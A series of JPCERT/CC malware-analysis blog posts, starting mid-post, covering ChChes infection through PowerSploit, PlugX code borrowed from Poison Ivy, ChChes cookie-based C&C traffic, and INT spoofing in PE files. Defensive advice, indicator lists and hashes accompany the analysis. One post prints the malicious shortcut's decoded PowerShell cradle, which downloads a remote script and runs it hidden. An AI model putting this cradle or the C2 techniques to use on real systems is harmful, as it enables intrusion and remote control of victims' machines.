Clustering large amount of malware to distinguish unknown types that needs to be analysed in a quick manner is crucial in malware analysis. We hope that impfuzzy for Neo4j will help such analysis tasks.

In a future entry, we will introduce the clustering and analysis results that we gained through this tool.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] The Louvain method for community detection in large networks



Mar 01, 2017

Malware Leveraging PowerSploit

Hi again, this is Shusei Tomonaga from the Analysis Center.

In this article, I’d like to share some of our findings about ChChes (which we introduced in a previous article) that it leverages PowerSploit [1] – an open source tool – for infection.

Flow of ChChes Infection

The samples that JPCERT/CC confirmed this time infect machines by leveraging shortcut files. The flow of events from a victim opening the shortcut file until a machine is infected is illustrated in Figure 1.

Figure 1: Flow of events from opening a shortcut file to ChChes infection

When the shortcut file is opened, a file containing PowerShell script is downloaded from an external server and then executed. Next, ChChes code (version 1.6.4) contained in the PowerShell script is injected into powershell.exe and executed. The detailed behaviour in each phase is described below.

Behaviour after the shortcut file is opened

When the shortcut file is opened, the following PowerShell script contained in the file is executed.

powershell.exe -nop -w hidden -exec bypass  -enc JAAyAD0AJwAtAG4Abw ~omitted~

The PowerShell script after “-enc” is encoded. Below is the decoded script:

$2='-nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString(''https://goo.gl/cpT1NW'')"';if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "& powershell $2";}

By executing the above PowerShell script, a file containing PowerShell script is downloaded from a specified URL. The downloaded script is loaded in 32-bit powershell.exe (syswow64\WindowsPowerShell\v1.0\powershell) and executed. The reason why it is executed in 32-bit is considered to be that ChChes’s assembly code contained in the PowerShell script is not compatible with 64-bit environment.


Details of the Downloaded PowerShell Script

The downloaded PowerShell script is partially copied from PowerSploit (Invoke-Shellcode.ps1). PowerSploit is a tool to execute files and commands on a remote host and is used for penetration tests.

When the downloaded PowerShell script is executed, it creates document files based on data contained in the script, store the files in the %TEMP% folder and displays them.  We’ve seen different types of documents shown, including Excel and World documents.


Next, ChChes code contained in the PowerShell is injected into powershell.exe. The injected ChChes receives commands and modules from C2 servers as explained in the previous blog post. The PowerShell script and the injected ChChes are not saved as files in the infected machines, and ChChes itself only exists in the memory.

Figure 2 is a part of the PowerShell script.

Figure 2: Downloaded PowerShell script

Confirming Attack Traces through Event Logs

In environments where PowerShell v5.0 is installed (including Windows 10), the PowerShell script downloaded from remote servers are recorded in the event logs under the default settings (as Figure 3). When you investigate, please check if your logs contain such records.

Figure 3: Contents recorded in Event Logs

Such logs can also be obtained in PowerShell v4.0 (Default version of Windows 8.1) by enabling the following Group Policy.

  • Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on PowerShell Script Block Logging


It is now quite common that PowerShell script is leveraged for attacks. If your event log configuration is not set to record PowerShell execution, it is recommended that you revise the settings in preparation for such attacks. Also, if you are not using PowerShell, it is suggested to restrict the execution by using AppLocker, etc.

-Shusei Tomonaga

(Translated by Yukako Uchida)


[1] PowerSploit


Appendix A: SHA-256 Hash Values of the samples


  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • aef976b95a8d0f0fdcfe1db73d5e0ace2c748627c1da645be711d15797c5df38
  • dbefa21d3391683d7cc29487e9cd065be188da228180ab501c34f0e3ec2d7dfc

Feb 21, 2017

PlugX + Poison Ivy = PlugIvy? - PlugX Integrating Poison Ivy’s Code -

Hi again, this is Shusei Tomonaga from the Analysis Center.

PlugX is a type of malware used for targeted attacks. We have introduced its new features in the blog article “Analysis of a Recent PlugX Variant - ‘P2P PlugX”. This article will discuss the following two structural changes observed in PlugX since April 2016:

  • the way API is called
  • the format of main module changed from PE to raw binary code

In this article, we will refer to PlugX observed after April 2016 as “New PlugX”, and older versions as “Old PlugX”.

Change in API call

When calling Windows API, Old PlugX used the API names as the key to load the corresponding library functions based on their addresses, which is a similar behaviour of calling APIs from the usual PE files. Therefore, Old PlugX code contains strings of the Windows API names.

In contrast, New PlugX does not contain any API name strings in its code, but instead possesses hash values of those API names. When calling an API, it obtains a list of APIs by using Windows functions and performs hash calculation one by one. The API name whose hash value matches the specified value is set as a key to call an API. This method is used when code without IAT (Import Address Table), meaning code other than PE format, call Windows APIs and is applied within shellcodes. This method is also used by some types of malware in order to conceal API names.

Code in Figure 1 shows how New PlugX is calling the Windows API ‘GetSystemInfo’. “86AA8709h” is the hash value for ‘GetSystemInfo’. Address resolution is performed using the hash value, and it jumps to GetSystemInfo’s address by “jmp eax”.

Figure 1: The function calling for GetSystemInfo

In principle, as long as a collision doesn’t occur, any hash algorithm can be used for hashing Windows API names. However, New PlugX uses the same hash algorithm as Poison Ivy. Figure 2 compares the hash function of New PlugX and Poison Ivy.

Figure 2: Windows API hash function for New PlugX (left) and Poison Ivy (right) (Parts that match are in light blue)

Change from PE format to raw code format

While Old PlugX stored the malware in PE format (DLL), New PlugX stores only its code and does not contain a header. A single PlugX sample (‘PlugX Data’ in Fig.3) contained both the encoded version of PlugX and code to decode it (‘Decoding code’ in Figure 3). When the sample is executed, the main module of PlugX (‘PlugX main module’ in Figure 3) is decoded, and it injects itself into another process to be executed in that process. The execution flow in Old PlugX is described in Figure 3.

Figure 3: Execution flow in Old PlugX

Figure 4 describes the execution flow in New PlugX. Like Old PlugX,  the main module, which is encoded, injects itself to a process and then it is executed in the process. The big difference is that the main module has been changed from PE format (DLL) in Old PlugX to raw code format in New PlugX.

Figure 4: Execution flow in New PlugX

Figure 5 shows the beginning of the decoded main module of PlugX. While Old PlugX had a header that is equivalent to one in a PE format, New PlugX begins with executable code and there is no PE header.

Figure 5: Old PlugX (above) and New PlugX (below) after decoding


Upon upgrading Old PlugX to New PlugX, the developer presumably referred to Poison Ivy which is also used for targeted attacks. As previously explained, New PlugX uses the same hash value for API call as Poison Ivy, but on top of that, the raw code format that New PlugX applies is also one of the features of Poison Ivy. The purpose of the upgrade is thought to complicate malware analysis so that malware can be used for a longer period of time.

We should keep an eye on PlugX because it has been evolving and still constantly used to conduct targeted attacks. At this stage, both New and Old PlugX are still being actively used.

We would like to recommend that you revisit our article since the demonstrated features there (configuration information, communication method, encode format etc.) remain the same in New PlugX.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Feb 15, 2017

ChChes – Malware that Communicates with C&C Servers Using Cookie Headers

Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan. Also, the executable files’ icons are disguised as Word documents. When the recipient executes the file, the machine is infected with malware called ChChes.

This blog article will introduce characteristics of ChChes, including its communication.

ZIP files attached to Targeted Emails

While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents. Below is the example of the latter case.

Figure 1: Example of an attached ZIP file

In the above example, two files with similar names are listed: a dummy Word document and an executable file whose icon is disguised as a Word document. By running this executable file, the machine will be infected with ChChes. JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate. The dummy Word document is harmless, and its contents are existing online articles related to the file name “Why Donald Trump won”. The details of the code signing certificate is described in Appendix A.

Communication of ChChes

ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules. There are only few functions that ChChes can execute by itself. This means it expands its functions by receiving modules from C&C servers and loading them on the memory.

The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead of GET.

GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: [user agent]
Host: [host name]
Connection: Keep-Alive
Cache-Control: no-cache

As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value can be decrypted using the below Python script.

data_list = cookie_data.split(';')
dec = []
for i in range(len(data_list)):
    tmp = data_list[i]
    pos = tmp.find("=")
    key = tmp[0:pos]
    val = tmp[pos:]
    md5 = hashlib.md5()
    rc4key = md5.hexdigest()[8:24]
    rc4 = ARC4.new(rc4key)
print("[*] decoded: " + "".join(dec))

The following is the flow of communication after the machine is infected.

Figure 2: Flow of communication

The First Request

The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with ‘A’. The following is an example of data sent.

Figure 3: Example of the first data sent

As indicated in Figure 3, the data which is sent contains information including computer name. The format of the encrypted data differs depending on ChChes’s version. The details are specified in Appendix B.

As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers (Response 1). The ID is contained in the Set-Cookie field as shown below.

Figure 4: Example response to the first request

Request for Modules and Commands

Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following data starting with ‘B’ is encrypted and contained in the Cookie field.

B[ID to identify the infected machine]

As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. The following shows an example of received modules and commands after decryption.

Figure 5: Decrypted data of modules and commands received

Commands are sent either together with modules as a single data (as above), or by itself. Afterwards, execution results of the received command are sent to C&C servers, and it returns to the process to receive modules and commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be controlled remotely.

JPCERT/CC’s research has confirmed modules with the following functions, which are thought to be the bot function of ChChes.

  • Encrypt communication using AES
  • Execute shell commands
  • Upload files
  • Download files
  • Load and run DLLs
  • View tasks of bot commands

Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in AES on top of the existing encryption method.


ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware.

The hash values of the samples demonstrated here are described in Appendix C. The malware’s destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts.

Thanks for reading.

- Yu Nakamura

(Translated by Yukako Uchida)

Appendix A: Code signing certificate

The code signing certificate attached to some samples are the following:

$ openssl x509 -inform der -text -in mal.cer 
        Version: 3 (0x2)
        Serial Number:
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
            Not Before: Aug  5 00:00:00 2011 GMT
            Not After : Aug  4 23:59:59 2012 GMT
        Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 - Microsoft Software Validation v2, CN=HT Srl
        Subject Public Key Info:
Figure 6: Code signing certificate
Appendix B: ChChes version

The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers.

Figure 7: Compile time for each ChChes version

The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each ChChes version.

Table 1: Sending format of each version
1.0.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.2.2 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.2 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.0 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.1 A<a>*<b>?3618468394?<c>?<d> (<e>)*<g>
1.6.4 A<a>*<b>*<h>?3618468394?<c>?<d> (<e>)*<g>

Table 2: Description of <a> to <h>
<a> Computer name Variable Capital alphanumeric characters
<b> Process ID Variable Capital alphanumeric characters
<c> Path of a temp folder Variable %TEMP% value
<d> Malware version Variable e.g. 1.4.1
<e> Screen resolution Variable e.g. 1024x768
<f> explorer.exe version Variable e.g. 6.1.7601.17567
<g> kernel32.dll version Variable e.g. 6.1.7601.17514
<h> Part of MD5 value of SID 16 bytes e.g. 0345cb0454ab14d7
Appendix C: SHA-256 Hash value of the samples


  • 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
  • ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
  • 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
  • 19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b
  • 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
  • efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
  • e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
  • 9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c
  • bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
  • e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
  • e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
  • d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
  • 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
  • 312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3
  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2
  • cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
Appendix D: List of communication destination
  • area.wthelpdesk.com
  • dick.ccfchrist.com
  • kawasaki.cloud-maste.com
  • kawasaki.unhamj.com
  • sakai.unhamj.com
  • scorpion.poulsenv.com
  • trout.belowto.com
  • zebra.wthelpdesk.com
  • hamiltion.catholicmmb.com
  • gavin.ccfchrist.com

Jan 30, 2017

Anti-analysis technique for PE Analysis Tools –INT Spoofing–

When analysing Windows executable file type (PE file) malware, a tool to parse and display the PE file’s structure (hereafter “PE analysis tool”) is often used. This tool enables referring to a list of APIs that the malware imports (Import API) and functions that it exports. By analysing the data, it is possible to presume the malware’s function as in communicating with external servers or creating registry entries, etc. In this way, PE analysis tools are often used for malware analysis, however, a type of malware which has techniques to disturb operations of PE analysis tools has already been observed [1].

This entry introduces techniques to deceive analysts by displaying incorrect information in the Import API, and measures to implement in PE analysis tools against the issue.

INT (Import Name Table) and IAT (Import Address Table)

PE files contain 2 address tables related to Import API – INT and IAT. INT describes the address of the area which stores API names imported by the PE file. IAT is used when actually calling an API, and writes an entry address of the functions corresponding to the API when the module which exports the function is loaded. For more information about PE file formats, please refer to Microsoft’s website [2].

NT header in a PE file describes various kinds of information required for executing the file. NT header is structured as “IMAGE_NT_HEADERS”, and INT and IAT can be identified by tracing the address in “IMAGE_DATA_DIRECTORY” of Optional Header within the structure (Figure 1) [3].

Figure 1: INT and IAT related section within NT header in a PE file

The Name field of “IMAGE_IMPORT_BY_NAME” structure, which is referred to by INT, describes importing API names as a string. Generally, IMAGE_IMPORT_BY_NAME lists API names in a sequence as in Figure 2.

Figure 2: Example of IMAGE_IMPORT_BY_NAME

INT Spoofing

IMAGE_IMPORT_BY_NAME contains strings specifying API names. Even if someone tries to alter the API name in IMAGE_IMPORT_BY_NAME to disguise it as another PE file, it would not be executed properly since it would import unintended API when executing the PE file. As the red part in Figure 3 indicates, however, if the PE file is modified by adding new API names at the end of the INT to existing API names within the INT, it will not attempt to load a module since the IAT does not have a field that stores the entry address of the functions corresponding to the added API name. If PE analysis tools display such deliberately added API names, analysts would believe that the PE file has new APIs that is imported, which would confuse the analysis.

Figure 3: Example of INT spoofing

Check for INT-spoofed PE files using PE analysis tools

Many of the existing PE analysis tools refer to only INT when listing Import API, and recognise and display strings in IMAGE_IMPORT_BY_NAME as API names. When handling normal PE files, there is no issues with the behaviour since importing API addresses corresponding to the strings in IMAGE_IMPORT_BY_NAME, are written in the IAT.

However, if INT is spoofed by the above mentioned method, extra APIs are also listed. As an experiment, JPCERT/CC generated some INT-spoofed PE files, and tested how their Import API would be displayed in several PE analysis tools. As a result, many of them displayed extra APIs that are not actually imported.

Figure 4: Analysis examples of INT-spoofed executable files on PE analysis tools (Indicates the number of Import API increased due to INT spoofing)

Countermeasures against INT spoofing

One countermeasure against such spoofing would be to compare INT and IAT on a PE analysis tool and only display APIs that are actually imported (and not display added API names marked in red in the Figure 3). pyimpfuzzy, which was introduced in a past blog entry, is also a tool which performs analysis based on Import API. In its first version, there was an issue where INT-spoofed samples could not be analysed correctly. As such, the tool was updated with a new feature to compare INT and IAT, and only analyse the APIs that are actually imported.

Many PE analysis tools display strings in IMAGE_IMPORT_BY_NAME as they are. However, many debuggers and IDA refer to IATs when displaying Import API, and thus most of them do not seem to be affected by INT spoofing. When referring to the information on Import API in malware analysis, it is recommended to check APIs that are actually loaded in IAT by using a debugger, as well as INT strings.


JPCERT/CC has not yet observed any INT-spoofed samples, however, this disguising technique could possibly be abused in the near future. Automated analysis tools based on Import API may be affected by INT spoofing. As introduced above, pyimpfuzzy has been updated to a new version – please make sure that you are using the latest version (version 0.02).

Thanks for reading.

- Shusei Tomonaga
(Translated by Yukako Uchida)


[1] Palo Alto Networks - The Dukes R&D Finds a New Anti-Analysis Technique

[2] Microsoft - PE Format

[3] Microsoft - IMAGE_NT_HEADERS structure